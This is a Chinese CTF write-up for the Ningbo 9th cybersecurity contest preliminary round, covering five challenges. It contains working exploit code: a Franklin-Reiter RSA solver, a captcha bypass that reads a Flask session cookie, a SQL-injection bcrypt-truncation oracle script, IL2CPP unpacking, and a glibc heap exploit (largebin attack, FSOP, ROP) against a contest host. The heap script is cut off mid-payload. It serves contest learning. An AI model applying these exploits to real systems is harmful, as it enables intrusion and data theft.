宁波市第九届网络安全大赛初赛 Writeup

12.4千字 预计阅读 50 分钟- 次浏览

1. TWRSA(Crypto · 100)

Flag: DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}

解法: Franklin-Reiter 相关消息攻击(多项式 GCD)

题面

附件 TWRSA.zip 包含:

  • task.py:RSA 加密脚本,公钥 (n, e=17),常数 a, b 公开
  • enc.txt:两个密文 c1, c2

task.py 核心逻辑:

Python
from Crypto.Util.number import getPrime, bytes_to_long
 
p, q = getPrime(512), getPrime(512)
n = p * q
e = 17                      # 很小的公钥指数
flag = b"DASCTF{...}"
m = bytes_to_long(flag)
 
a = getRandomRange(2, n)    # 公开
b = getRandomRange(2, n)    # 公开
 
c1 = pow(m, e, n)                    # 密文 1
c2 = pow(a * m + b, e, n)            # 密文 2:明文是 m 的仿射变换

分析

对题目参数进行归纳,可识别出以下特征:

信号 含义
e = 17 指数很小。Franklin-Reiter 的多项式 GCD 复杂度约 O(e²),小 e 才可行
两个密文 c1, c2 提供两组加密样本
a, b 公开 两组明文间的变换关系已知
c2 = (a·m+b)^e 第二明文是第一明文的仿射函数 f(x)=ax+b

上述四项构成 Franklin-Reiter 攻击的完整适用条件。数学上,m 同时是两个多项式的根:

Text
f1(X) = X^e − c1        (因 m^e ≡ c1 mod n)
f2(X) = (aX+b)^e − c2   (因 (a·m+b)^e ≡ c2 mod n)

在 Z_n[X] 上计算 gcd(f1, f2),结果必含因子 X − m。当 e 较小时,GCD 恰好为一次式 X − m,经一次取模逆即可还原明文。

题眼:小 e + 仿射相关明文,应直接联想到多项式 GCD。

攻击原理

Franklin-Reiter 相关消息攻击(Franklin & Reiter, 1996):设 m2 = f(m1) = a·m1 + b,则 f1(X) = X^e − c1 与 f2(X) = (aX+b)^e − c2 在 Z_n[X] 上共享根 X = m1。多项式欧几里得算法逐步降次,最终得到 X − m1 的常数倍。

  • 复杂度 O(e² · M(log n)),要求 e 较小;
  • 无需分解 n,无需 φ(n),纯公钥信息攻击。

脚本

Python
from Crypto.Util.number import long_to_bytes
 
n = 138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838965800701295655562669888982509373037323009398256131040311476217969876349355188636100189323858719
e = 17
a = 83569586940358269616483736110794388963219631058001258801697045291710199195400482148579966002846094031748727522549265827755957695685599541505034870366329222184857852820619894169255286434870206982751257383401127863604412385165432761065569753353680589063164484059820837387598552737543997828852226963445212665327
b = 126306379194267276529742821477354470543159186929678783757564699918657646687078400294668439303545554324843015121035370635254230607808767176278498127759415349412530449734407997247866924666117281609645700444715667659304006049394635609159672838928033076079864979982977330392135958698967527018497913889682682699713
c1 = 63223410133361659979495914777880794068722032782064277746832775301143976654364124947629297373957018811106810454534207081275822695767399804773422869246358492059488808587178325850627743232015328320685779733024782095383159759972035459543516495558423952356219533597176382437041414699287247816416121835144236700665
c2 = 67879050967633310792776582619133880858175729883729797947563722632111275354989254473463698360968855132443371848470959047709580194662921774251342611326115640825584744607284821773716044021105929039986955814643647088470270852499870979477853176977228506630904043234759595566235200071884100944702655197101547596786
 
def poly_mulmod(f, g, n):
    # multiply polynomials mod n, f,g lists low->high
    res = [0] * (len(f) + len(g) - 1)
    for i, fi in enumerate(f):
        if fi % n == 0:
            continue
        for j, gj in enumerate(g):
            res[i + j] = (res[i + j] + fi * gj) % n
    return res
 
def poly_addmod(f, g, n):
    L = max(len(f), len(g))
    res = [( (f[i] if i < len(f) else 0) + (g[i] if i < len(g) else 0) ) % n for i in range(L)]
    while len(res) > 1 and res[-1] == 0:
        res.pop()
    return res
 
def poly_powmod(f, e, n):
    # power of polynomial f^e mod n
    res = [1]
    base = [x % n for x in f]
    while e > 0:
        if e & 1:
            res = poly_mulmod(res, base, n)
        base = poly_mulmod(base, base, n)
        e >>= 1
    return res
 
def poly_mod(f, g, n):
    # f mod g, g monic assumption -> require leading coeff of g invertible mod n
    f = [x % n for x in f]
    g = [x % n for x in g]
    # make g monic by inverting leading coeff
    lc = g[-1]
    inv_lc = pow(lc, -1, n)
    g = [(c * inv_lc) % n for c in g]  # now monic
    while len(f) >= len(g) and f != [0]:
        if len(f) == len(g) and f[-1] == 0:
            break
        coef = f[-1]
        d = len(f) - len(g)
        # subtract coef * x^d * g
        sub = [0] * d + [(coef * gc) % n for gc in g]
        f = [(a - b) % n for a, b in zip(f, sub)] if len(f) >= len(sub) else f
        # trim
        while len(f) > 1 and f[-1] == 0:
            f.pop()
        if len(f) == 1 and f[0] == 0:
            f = [0]
    return f
 
def poly_gcd(f, g, n):
    while g != [0]:
        r = poly_mod(f, g, n)
        f, g = g, r
    # make monic
    lc = f[-1]
    inv = pow(lc, -1, n)
    f = [(c * inv) % n for c in f]
    return f
 
# f1 = X^17 - c1
f1 = [(-c1) % n] + [0] * 16 + [1]
# f2 = (aX + b)^17 - c2
lin = [b % n, a % n]
f2 = poly_powmod(lin, e, n)
f2[0] = (f2[0] - c2) % n
 
g = poly_gcd(f1, f2, n)
print("gcd degree:", len(g) - 1)
print("gcd:", g)
 
# if linear: g = x - m  => m = -g[0]
if len(g) == 2:
    m = (-g[0]) % n
elif len(g) == 3:
    # quadratic -> try roots
    m = None
    print("quadratic gcd")
else:
    # higher degree, find roots
    m = None
    print("higher degree")
 
if m is not None:
    print("m =", m)
    print("flag:", long_to_bytes(m))

运行:

Bash
pip install pycryptodome
python3 twrsa-solve.py

输出

Text
gcd degree: 1
gcd: [..., 1]        # 即 X - m
m = 569500674440382721586929298834568611587302331308800418954415041565408445283239208788724351713661
flag: b'DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}'

GCD 次数为 1,m 直接得到,long_to_bytes 还原 flag。


2. dataInfoLeak(DS · 100)

Flag: DASCTF{58620422191328792364068629243227}
解法: pcap 流量分析 → AES-128-ECB 解密 → 按 userid 合并 → CSV 上传校验

题面

附件 dataInfoLeak的附件.zip 包含:

  • data.pcapng:5332 组 HTTP 请求/响应
  • 个人信息整合规范说明.md:CSV 格式规范(userid,username,name,phone,idcard,email,按 userid 升序)及示例行

流量形态:

Text
GET /api/{profile|identity|contact|basic|info}?pass=<16-char-key>
响应体:hex → base64 → AES 密文

分析

  1. 密钥即流量参数:每个请求的 pass 恰好 16 字节,与响应体的解密密钥长度一致。按 AES.new(pass, AES.MODE_ECB) 解密,可还原 PKCS#7 填充的 UTF-8 JSON,如 {"userid":2499,"username":"...","email":"...","idcard":"..."}。
  2. 按 userid 合并:5 个 API 端点各返回 {userid, username, name, phone, idcard, email} 的不同子集;同一 userid 出现在多组请求中(pass 轮换),但字段值一致(3000 个用户 0 冲突)。
  3. 产出 CSV:只保留 6 字段齐全的完整记录(1950 条),按 userid 升序输出。userid 2/3/4/6 的行与规范文档示例完全一致,确认正确性。
  4. 上传校验:上传至 DAS File Checker(http://45.40.247.139:18764),评分 100.000%,返回 flag。

验证平台彩蛋

GET /api/captcha 设置的 Flask session cookie 只签名不加密,base64url 解码 + zlib 解压后明文可见验证码答案:

Text
{"<uuid>":"SZK9","session_id":"<uuid>"}

因此无需 OCR,直接读 cookie 即可自动过验证码。

脚本

解密 → 合并 → CSV:

Python
#!/usr/bin/env python3
"""dataInfoLeak solver: decrypt HTTP API responses from data.pcapng, merge by userid, emit CSV."""
import subprocess, binascii, base64, json, re, csv, sys
from Crypto.Cipher import AES
from collections import defaultdict
 
PCAP = 'challenge/extracted/dataInfoLeak的附件/data.pcapng'
OUT = 'employees.csv'
FIELDS = ['userid', 'username', 'name', 'phone', 'idcard', 'email']
 
def extract_pairs(pcap):
    out = subprocess.run(
        ['tshark', '-r', pcap, '-Y', 'http', '-T', 'fields',
         '-e', 'frame.number', '-e', 'ip.src', '-e', 'http.request.method',
         '-e', 'http.request.uri', '-e', 'http.file_data'],
        capture_output=True, text=True).stdout
    records = []
    for ln in out.strip().split('\n'):
        parts = ln.split('\t')
        if len(parts) < 5:
            continue
        fr, src, method, uri, fd = parts[0], parts[1], parts[2], parts[3], parts[4]
        if method == 'GET':
            m = re.search(r'pass=([^&\s]+)', uri)
            if m:
                records.append((int(fr), 'req', uri, m.group(1), ''))
        elif method == '' and fd:
            records.append((int(fr), 'resp', '', '', fd))
    records.sort(key=lambda x: x[0])
    pending, pairs = [], []
    for fr, typ, uri, p, fd in records:
        if typ == 'req':
            pending.append((fr, uri, p))
        else:
            rfr, ruri, rp = pending.pop(0)
            pairs.append((rfr, fr, ruri, rp, fd))
    return pairs
 
def decrypt(p, h):
    key = p.encode()
    b64 = binascii.unhexlify(h)
    ct = base64.b64decode(b64)
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
    pad = pt[-1]
    if 1 <= pad <= 16 and pt[-pad:] == bytes([pad]) * pad:
        pt = pt[:-pad]
    return json.loads(pt.decode('utf-8'))
 
def main():
    pairs = extract_pairs(PCAP)
    uid_vals = defaultdict(dict)
    n = 0
    for rfr, sfr, uri, p, h in pairs:
        obj = decrypt(p, h)
        n += 1
        uid = obj['userid']
        for f in FIELDS[1:]:
            if f in obj:
                uid_vals[uid][f] = obj[f]
    print(f'decrypted {n} responses, {len(uid_vals)} users')
    complete = {u: v for u, v in uid_vals.items() if len(v) == len(FIELDS) - 1}
    print(f'complete records: {len(complete)}')
    with open(OUT, 'w', newline='', encoding='utf-8') as fh:
        w = csv.writer(fh)
        w.writerow(FIELDS)
        for uid in sorted(complete, key=int):
            v = complete[uid]
            w.writerow([uid, v['username'], v['name'], v['phone'], v['idcard'], v['email']])
    print(f'wrote {OUT}')
 
if __name__ == '__main__':
    main()

上传(含从 session cookie 取验证码):

Python
#!/usr/bin/env python3
"""Upload employees.csv to the DAS File Checker and retrieve the validation result."""
import base64, zlib, json, sys, time, requests
 
BASE = 'http://45.40.247.139:18764'
 
def get_captcha_answer(sess):
    r = sess.get(f'{BASE}/api/captcha', timeout=30)
    ck = sess.cookies.get('session')
    if not ck:
        raise RuntimeError('no session cookie')
    parts = ck.split('.')
    payload = parts[1] + '=' * (-len(parts[1]) % 4)
    data = base64.urlsafe_b64decode(payload)
    try:
        dec = zlib.decompress(data)
    except Exception:
        dec = data
    obj = json.loads(dec)
    # answer is the value whose key is not 'session_id'
    ans = None
    for k, v in obj.items():
        if k != 'session_id':
            ans = v
    return ans
 
def main():
    csv_path = sys.argv[1] if len(sys.argv) > 1 else 'employees.csv'
    sess = requests.Session()
    ans = get_captcha_answer(sess)
    print('captcha answer:', ans)
 
    with open(csv_path, 'rb') as fh:
        files = {'file': (csv_path.split('/')[-1], fh, 'text/csv')}
        data = {'captcha': ans}
        r = sess.post(f'{BASE}/api/upload', files=files, data=data, timeout=300)
    print('upload response:', r.status_code, r.text[:500])
    try:
        j = r.json()
    except Exception:
        print('non-json response')
        sys.exit(1)
    if j.get('state') == -1:
        print('upload rejected:', j.get('reason'))
        sys.exit(1)
    key = j.get('key')
    print('task key:', key, 'position:', j.get('position'))
 
    # poll status
    for i in range(120):
        time.sleep(5)
        r = sess.get(f'{BASE}/api/status/{key}', timeout=30)
        st = r.json()
        pos = st.get('position')
        if pos is not None:
            print(f'poll {i}: position={pos} state={st.get("state")}')
        if st.get('state') == 1:
            print('RESULT:', json.dumps(st, ensure_ascii=False, indent=2))
            break
        if st.get('state') == -1:
            print('FAILED:', json.dumps(st, ensure_ascii=False, indent=2))
            break
    else:
        print('timeout waiting for result')
 
if __name__ == '__main__':
    main()

输出

Text
decrypted 5332 responses, 3000 users
complete records: 1950
wrote employees.csv

平台结果:

JSON
{"filename":"employees.csv","flag":"DASCTF{58620422191328792364068629243227}\n","score":"100.000%","state":1,"reason":"上传成功"}


3. crazy_sql(Web · 100)

Flag:DASCTF{10597641811452686425867357305136}
解法: UNION 注入构造哈希预言机 + bcrypt 72 字节截断逐字符爆破

题面

PHP + SQLite 登录页,/?source 泄露源码。关键逻辑:

Php
$secret = file_get_contents('/secret.txt');     // bcrypt salt
$pwhash = crypt($password, $secret);            // 哈希回显于错误信息
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) === 0) {
    $password .= file_get_contents('/flag.txt'); // 密码后拼接 flag
}
$row = querySingle("SELECT username, pwhash FROM users WHERE username='$username'");
// 失败回显:"你的登陆密码错误:<hash>"

可利用点:

  1. SQL 注入:username 的黑名单仅含 insert|update|delete|drop|truncate|alter|database|attach|values|load_extension,遗漏 union/select。
  2. 哈希预言机:crypt($password, $secret) 结果回显,任意密码可换取其 bcrypt 哈希。
  3. ?salt=<secret> 时密码变为 password + flag,回显哈希为 crypt(password.flag, secret)。
  4. bcrypt 只使用密码前 72 字节:用 'A'*(71-i) 填充使 72 字节窗口恰好覆盖 flag[0..i],逐字符爆破。

攻击流程

Step 1:获取 secret

用 UNION 注入构造一行登录数据,同时以回显哈希登录为 admin:

Text
POST /?salt=...  username=' UNION SELECT 'admin','<oracle-hash>' --  password=<chosen>

登录成功后页面注释泄露完整 secret:

HTML
<!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->

(salt[]=x 数组参数会触发 PHP fatal error,仅泄露 secret 前缀,不足以完整利用。)

Step 2:本地复算

本地验证 PHP crypt() 与 Python bcrypt 输出一致(有效盐为 $2a$10$77b438009c258a4cb0215O),此后可离线复算任意 crypt(password+flag, secret)。

Step 3:72 字节截断爆破

bcrypt 只取密码前 72 字节。发送 password = 'A'*(71-i)(服务端密码为 'A'*(71-i) + flag),72 字节窗口覆盖:

Text
窗口: A A ... A | flag[0] flag[1] ... flag[i]   (共 72 字节)

对每个候选字符 c,本地计算 bcrypt('A'*(71-i) + prefix + c) 与预言机回显比对,命中即 flag 第 i 位。每字符约 1 次预言机查询 + 本地 bcrypt。

Step 4:验证

爆破出 DASCTF{10597641811452686425867357305136}(40 字符)。独立验证:预言机查询 password='x' 的回显哈希与本地 bcrypt('x' + flag) 完全一致。

脚本

Python
#!/usr/bin/env python3
"""crazy_sql exploit
Oracle: POST /?salt=<secret>  with username injection -> echoes crypt(password+flag, secret)
bcrypt truncates at 72 bytes => password of length 71 exposes flag[0], etc.
"""
import requests, bcrypt, string, re, sys, time
 
URL = 'http://45.40.247.139:16881/'
SECRET = open('/workspace/secret.txt').read().strip()
SALT29 = b'$2a$10$77b438009c258a4cb0215O'   # effective bcrypt salt derived by PHP
 
CHARSET = string.printable[:95]  # printable ascii
INJ = "' UNION SELECT 'x','y' -- "  # makes query return a row so hash is echoed
 
def oracle(password, salt=True, retries=3):
    params = {'salt': SECRET} if salt else None
    last = None
    for a in range(retries):
        try:
            r = requests.post(URL, params=params,
                              data={'username': INJ, 'password': password},
                              timeout=25)
            m = re.search(r'你的登陆密码错误:(\S+)', r.text)
            if m:
                return m.group(1)
            if '检测到潜在的' in r.text:
                return 'BLOCKED'
            last = r.text
        except Exception as e:
            last = repr(e)
        time.sleep(1)
    raise RuntimeError('oracle failed: ' + str(last)[:300])
 
def bcrypt_hash(pw_bytes):
    return bcrypt.hashpw(pw_bytes, SALT29).decode()
 
def find_char(prefix, i):
    # password = 'A'*(71-i) pure padding; oracle hashes password+flag truncated to 72
    # => 72-byte window = 'A'*(71-i) + flag[0..i]  (i+1 flag chars)
    pad = 'A' * (71 - i)
    H = oracle(pad)
    if H == 'BLOCKED':
        print(f'[!] pattern blocked at i={i}'); return None, H
    for c in CHARSET:
        cand = (pad + prefix + c).encode()  # len == (71-i)+i+1 == 72
        if bcrypt_hash(cand) == H:
            return c, H
    return None, H
 
def main():
    prefix = ''
    print('secret:', SECRET)
    # sanity: no-salt oracle should equal local crypt of password
    H0 = oracle('mypw123', salt=False)
    print('no-salt oracle mypw123:', H0)
    local = bcrypt_hash(b'mypw123')
    print('local               :', local, 'match:', H0 == local)
 
    for i in range(80):
        c, H = find_char(prefix, i)
        if c is None:
            print(f'[!] no candidate at i={i}; H={H}')
            break
        prefix += c
        print(f'i={i:2d} char={c!r} prefix={prefix!r}')
        if c == '}':
            print('[*] got closing brace; verifying...')
            break
        if i > 0 and c == prefix[0]:
            # possible wrap-around
            print(f'[*] wrap-around suspect at i={i} (char == flag[0])')
            break
 
    print('=== candidate flag:', prefix)
    # verify with a fresh oracle query
    Hv = oracle('x')
    localv = bcrypt_hash(b'x' + prefix.encode())
    print('verify oracle:', Hv)
    print('verify local :', localv, 'MATCH' if Hv == localv else 'MISMATCH')
    open('/workspace/flag_candidate.txt', 'w').write(prefix)
    return prefix
 
if __name__ == '__main__':
    main()

运行:

Bash
pip install requests bcrypt
python3 exploit.py


4. QRCodeWorld(Reverse · 300)

Flag: DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}
解法: Unity IL2CPP 加壳脱壳(Unicorn 模拟)→ Cpp2IL 代码还原 → 元数据 QR 矩阵提取 → 解码

题面

附件为 Unity IL2CPP 游戏(Unity 2022.3.16f1,metadata v29.1):GameAssembly.dll + global-metadata.dat。提示为“flag就在你脚下”,flag 被渲染成地面上的 QR 码。

攻击流程

Step 1:场景结构确认

UnityPy 读取场景 level1:唯一 MonoBehaviour 为 QRCodeGenerator,无序列化数据,QR 载荷由代码构建。

Step 2:脱壳 GameAssembly.dll

DLL 被自定义 aPLib 风格 LZ 壳压缩(节 DAS0/DAS1/DAS2,EP stub 0x18349d790,OEP 0x1806cdd90;DAS0 为 45MB 纯虚拟节)。用 Unicorn 模拟 EP stub,hook LoadLibraryA/GetProcAddress/VirtualProtect(IAT 槽 0x18349e140/148/150),dump 出 45MB 脱壳镜像(unpack.py → GameAssembly_unpacked.dll)。

Step 3:Cpp2IL 还原代码

对脱壳 DLL 运行 Cpp2IL,得到 Assembly-CSharp 的 ISIL:

  • .ctor:qrCodeData = new int[29,29],经 RuntimeHelpers.InitializeArray 从字段默认值 blob 填充。
  • Start() → GenerateQRCode():遍历 i,j in 0..29,对 qrCodeData[i,j] == 1 的格子在地面摆放黑色方块,即渲染 29×29 QR 矩阵。

Step 4:从元数据提取 QR 矩阵

初始化数据位于 global-metadata.dat 的 Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData 节。解析头(注意是 {Offset, Size} 字节数段头而非计数)+ 扫描 841 个 int32 全 0/1 窗口(暗模块数平衡),在偏移 0x1c3070 处找到矩阵(421 个暗模块)。

Step 5:渲染 + 解码

29×29 渲染成带静区的 PNG,用 pyzbar 解码。

脚本

Python
#!/usr/bin/env python3
"""
QRCodeWorld — solve script.
 
The flag is "under your feet": the game QRCodeWorld (Unity IL2CPP) renders a
ground QR code from QRCodeGenerator.qrCodeData, a 29x29 int[,] initialized via
RuntimeHelpers.InitializeArray from the field's default-value blob stored in
global-metadata.dat (Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData).
 
This script:
  1. Parses the IL2CPP global-metadata.dat header to locate the
     fieldAndParameterDefaultValueData section.
  2. Finds the 29*29 = 841-int32 window whose values are all 0/1 and balanced
     (the QR module matrix; 200 < dark modules < 650).
  3. Renders it as a PNG (with quiet zone) and decodes it with pyzbar.
 
Output: the flag DASCTF{...}
"""
import struct
import numpy as np
from PIL import Image
import pyzbar.pyzbar as pyzbar
 
METADATA = "qrcodeworld/QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat"
SIZE = 29  # qrCodeData = new int[29,29]  (from QRCodeGenerator .ctor)
 
 
def section(meta, off):
    """Read an Il2CppGlobalMetadataSectionHeader {Offset, Size} at file offset `off`."""
    o, s = struct.unpack_from("<II", meta, off)
    return o, s
 
 
def find_qr_blob(meta):
    # fieldAndParameterDefaultValueData is the 9th header section -> file offset 8+8*8=72
    fapd_off, fapd_size = section(meta, 72)
    data = meta[fapd_off:fapd_off + fapd_size]
    a = np.frombuffer(data, dtype="<u4")
    n = SIZE * SIZE
    for i in range(0, len(a) - n + 1):
        w = a[i:i + n]
        if np.all((w == 0) | (w == 1)):
            ones = int(w.sum())
            if 200 < ones < 650:  # balanced QR matrix
                return w.reshape(SIZE, SIZE), fapd_off + i * 4
    raise RuntimeError("QR blob not found")
 
 
def render(grid, quiet=4, scale=10):
    h, w = grid.shape
    img = np.ones((h + 2 * quiet, w + 2 * quiet), dtype=np.uint8) * 255
    img[quiet:quiet + h, quiet:quiet + w] = np.where(grid == 1, 0, 255)
    return Image.fromarray(img).resize(((w + 2 * quiet) * scale, (h + 2 * quiet) * scale), Image.NEAREST)
 
 
def main():
    meta = open(METADATA, "rb").read()
    assert struct.unpack_from("<I", meta, 0)[0] == 0xFAB11BAF, "bad metadata magic"
    grid, off = find_qr_blob(meta)
    print(f"[*] QR matrix found at metadata offset 0x{off:x}")
    im = render(grid)
    im.save("/workspace/qr_flag.png")
    res = pyzbar.decode(im)
    for r in res:
        print("[+] FLAG:", r.data.decode())
    if not res:
        print("[-] decode failed")
    return res[0].data.decode() if res else None
 
 
if __name__ == "__main__":
    main()


5. Regular_apples(Pwn · 200)

Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
解法: UAF + Largebin attack(House-of-Apple 风格)+ FSOP + setcontext 栈迁移 + ROP
远程: nc 45.40.247.139 22685

题面

64 位 PIE 笔记程序:

Text
1.Add note
2.Delete note
3.Edit note
4.Show note
>

附件含 libc.so.6(glibc 2.35-0ubuntu3.8)与 loader。

漏洞与信号识别

反汇编与黑盒测试得到三个关键事实:

信号 结论
delete 只 free(ptr[i]),不清指针/大小 UAF:释放后仍可 edit/show
申请尺寸限制 [0x500, 0x520](chunk 0x510..0x530) 全为大 chunk:无 tcache,走 unsorted/large bin
show 仅输出 8 字节、edit 写满 size 字节 泄露受限(8 字节足够);edit 全量写

攻击路线推理:

  1. UAF + 大 chunk → unsorted bin 泄露(fd/bk 指向 libc)与 largebin attack(任意地址写)。
  2. 尺寸 0x510/0x520 恰为 largebin 76 的两个档位 → “smaller-than-smallest 分支写 bk_nextsize“手法可用。
  3. 需要控制流劫持且有 UAF 大 chunk → FSOP(劫持 _IO_list_all);glibc 2.35 采用 _IO_wfile_jumps 的 wfile-overflow 路径(House-of-Apple 系列)。
  4. FSOP 需控制执行流 → setcontext+0x126 ret-pivot 跳到堆上 ROP。
  5. 远程可能开启 seccomp → 预留 open/read/write 直读 flag 的兜底(实测确实开启)。

题眼:UAF + 大 chunk 组合是本题唯一可利用入口;后续步骤均围绕“将 _IO_list_all 改写为堆指针”展开。

堆布局与利用链

堆布局

Text
低地址                         高地址
+-------------+  chunk A (0x520)   ← idx0
+-------------+  chunk G (0x510)   ← idx1 (guard)
+-------------+  chunk B (0x510)   ← idx2
+-------------+  chunk H1 (0x510)  ← idx3 (ROP 栈 + 路径串)
+-------------+  chunk C (0x510)   ← idx4
+-------------+  chunk H2 (0x510)  ← idx5 (guard)

Largebin attack(写 _IO_list_all)

Text
目标:*(A->bk_nextsize + 0x20) = B_chunk,即 _IO_list_all = B_chunk

1. free A;malloc(0x520) → A 进入 largebin 76 并留驻(0x520 < 0x530,lookup 跳过)
2. UAF-edit A:A->bk_nextsize = _IO_list_all - 0x20
3. free B;malloc(0x520):
   B (0x510) 以 "smaller-than-smallest" 分支插入 largebin 76(无检查)
   → 执行 *(A->bk_nextsize + 0x20) = B_chunk
   → 即 _IO_list_all = B_chunk
   同一次 malloc 因 lookup 跳过而正常返回(不崩溃)

FSOP 链(exit 触发)

Text
add(非法 size) → exit()
  → _IO_flush_all_lockp 遍历 _IO_list_all (= B_chunk)
  → 假 _IO_FILE at B:
       vtable     = _IO_wfile_jumps
       _wide_data = W (B+0x100)
       W->_IO_write_base = 0, W->_IO_write_ptr = 1    ← 触发 wfile overflow
       W->_wide_vtable   = V (B+0x200)
       V[0x68] (__doallocate) = setcontext+0x126       ← ret-pivot
  → _IO_wfile_overflow → _IO_wdoallocbuf
  → call wide_vtable->__doallocate(fp)
  → setcontext 从 W 载入 rdi/rsi/rdx/rcx
  → push [W+0xa8]; ret → 跳到 "mov rsp,rdx; ret" (0x5a120)
  → rsp = 堆上 ROP 栈(W+0x88 指向)
  → ROP: open/read/write 读 /flag

远程环境差异(踩坑核心)

用已工作的 fwrite 原语 dump 远程 libc 内存逐项核对:

符号 附件 libc 远程 libc 结论
unsorted (main_arena+96) 0x21ace0 0x21ace0 ✅ 一致
_IO_list_all 0x21b680 0x21b680 ✅ 一致
_IO_wfile_jumps 0x2170c0 0x2170c0 ✅ 一致
setcontext 0x539e0 0x539e0 ✅ 一致
puts / fwrite 0x80e50 / 0x7ff20 同 ✅ 一致
open 0x1144e0 0x114560 ⚠️ +0x80
read 0x1147d0 0x114850 ⚠️ +0x80
write 0x114870 0x1148f0 ⚠️ +0x80
pop rdx; pop r12; ret 0x11f2e7 0x11f367 ⚠️ +0x80

两个额外环境事实:

  • 远程 seccomp 屏蔽 execve/system(fork/exec 全禁)→ 无 shell,只能 open/read/write 直读 flag。
  • socket 时序:接近满长(≥~0x500B)的 edit payload 与 socket read() 竞争,残余字节破坏下一个菜单输入 → 只发每次 edit 实际所需字节(程序 read 恰好返回所发长度)。

脚本

Python
#!/usr/bin/env python3
"""
Regular_apples — pwn (heap) challenge
=====================================
Remote: nc 45.40.247.139 22685
 
Vulnerability: use-after-free in the note program (free does not clear the
pointer/size), only sizes in [0x500,0x520] (large chunks, no tcache).
 
Exploit chain:
  1. Leak libc + heap via freed unsorted-bin chunks (show = 8 bytes).
  2. Largebin attack (House-of-Apple-style): corrupt A->bk_nextsize so that
     inserting a smaller chunk B writes B's chunk pointer into `_IO_list_all`.
     (Request size nb=0x530 keeps the largebin lookup from touching the
     corrupted bin, so the attack malloc returns cleanly.)
  3. FSOP on exit: `_IO_list_all` -> fake _IO_FILE at B.  The wfile-overflow
     path (vtable = _IO_wfile_jumps, _wide_data->_IO_write_base==0) reaches
     _IO_wdoallocbuf -> wide-vtable->__doallocate.
  4. __doallocate = setcontext+0x126 (ret-pivot): sets rdi/rsi/rdx/rcx from
     the wide-data area W, then `push [W+0xa8]; ret`.
  5. Jump to `mov rsp,rdx; ret` (0x5a120) with rdx = heap ROP stack =>
     full ROP chain: open("/flag",0); read(fd,buf,0x100); write(1,buf,0x100).
 
IMPORTANT remote-libc notes (the remote libc differs from the attached one):
  * unsorted/_IO_list_all/_IO_wfile_jumps/setcontext/puts/fwrite match the
    attached libc (glibc 2.35-0ubuntu3.8).
  * The syscall-wrapper region (open/read/write) is shifted by +0x80:
      open  = 0x114560   (attached: 0x1144e0)
      read  = 0x114850   (attached: 0x1147d0)
      write = 0x1148f0   (attached: 0x114870)
      pop rdx;pop r12;ret = 0x11f367 (attached: 0x11f2e7)
  * execve/system are blocked by seccomp on the remote (no shell), so the
    flag is read via open/read/write.
  * Long edit payloads (>=~0x500 bytes) can race with read() on the socket
    and leave stray bytes -> desync.  Fix: send only the bytes each edit
    actually needs (read returns exactly what we sent).
 
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
"""
from pwn import *
import time
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = '45.40.247.139'
PORT = 22685
 
# ---- remote libc offsets (verified by dumping the remote libc) ----
OPEN        = 0x114560
READ        = 0x114850
WRITE       = 0x1148f0
MOV_RSP_RDX = 0x5a120         # mov rsp, rdx; ret
POP_RDI     = 0x2a3e5
POP_RSI     = 0x2be51
POP_RDX_R12 = 0x11f367        # pop rdx; pop r12; ret
IO_LIST_ALL = 0x21b680
IO_WFILE_JUMPS = 0x2170c0
UNSORTED_OFF = 0x21ace0
BIN76_HEAD  = 0x21b430
SC_RETPIVOT = 0x539e0 + 0x126
 
def start():
    return remote(HOST, PORT, timeout=15)
 
def add(p, idx, size, content=b'A'*8):
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendlineafter(b'Size: \n', str(size).encode()); p.sendafter(b'Content: \n', content)
 
def delete(p, idx):
    p.sendlineafter(b'> ', b'2'); p.sendlineafter(b'Index: \n', str(idx).encode())
 
def edit(p, idx, content):
    p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendafter(b'Content: \n', content)
 
def show(p, idx):
    p.sendlineafter(b'> ', b'4'); p.sendlineafter(b'Index: \n', str(idx).encode())
    return p.recvn(8)
 
def build_rop(libc, path_addrs, BUF):
    chain = []
    def q(*vals):
        for v in vals: chain.append(v)
    fd = 3
    for path in path_addrs:
        q(libc+POP_RDI, path)
        q(libc+POP_RSI, 0)
        q(libc+OPEN)
        q(libc+POP_RDI, fd)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+READ)
        q(libc+POP_RDI, 1)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+WRITE)
        fd += 1
    return b''.join(p64(x) for x in chain)
 
def exploit(paths, verbose=True):
    p = start()
    def LOG(m):
        if verbose: log.info(m)
    # heap layout: A(0x520), G(0x510), B(0x510), H1(0x510), C(0x510), H2(0x510)
    add(p,0,0x510); add(p,1,0x500); add(p,2,0x500); add(p,3,0x500); add(p,4,0x500); add(p,5,0x500)
    # leaks (free B and C into unsorted)
    delete(p,2); delete(p,4)
    libc_leak = u64(show(p,2))      # B->fd = unsorted head
    heap_leak = u64(show(p,4))      # C->fd = B_chunk
    libc = libc_leak - UNSORTED_OFF
    B_chunk = heap_leak
    A_chunk = B_chunk - 0x520 - 0x510
    B_user = B_chunk + 0x10
    H1_user = B_chunk + 0x520
    LOG(f'libc={hex(libc)} B_chunk={hex(B_chunk)}')
    # reclaim C and B
    add(p,6,0x500); add(p,7,0x500)
    # free A; malloc(0x520) puts A (0x520) into largebin 76 (lookup skipped)
    delete(p,0); add(p,8,0x520)
    # corrupt A->bk_nextsize = _IO_list_all - 0x20
    payload = p64(libc+BIN76_HEAD)+p64(libc+BIN76_HEAD)+p64(A_chunk)+p64(libc+IO_LIST_ALL-0x20)
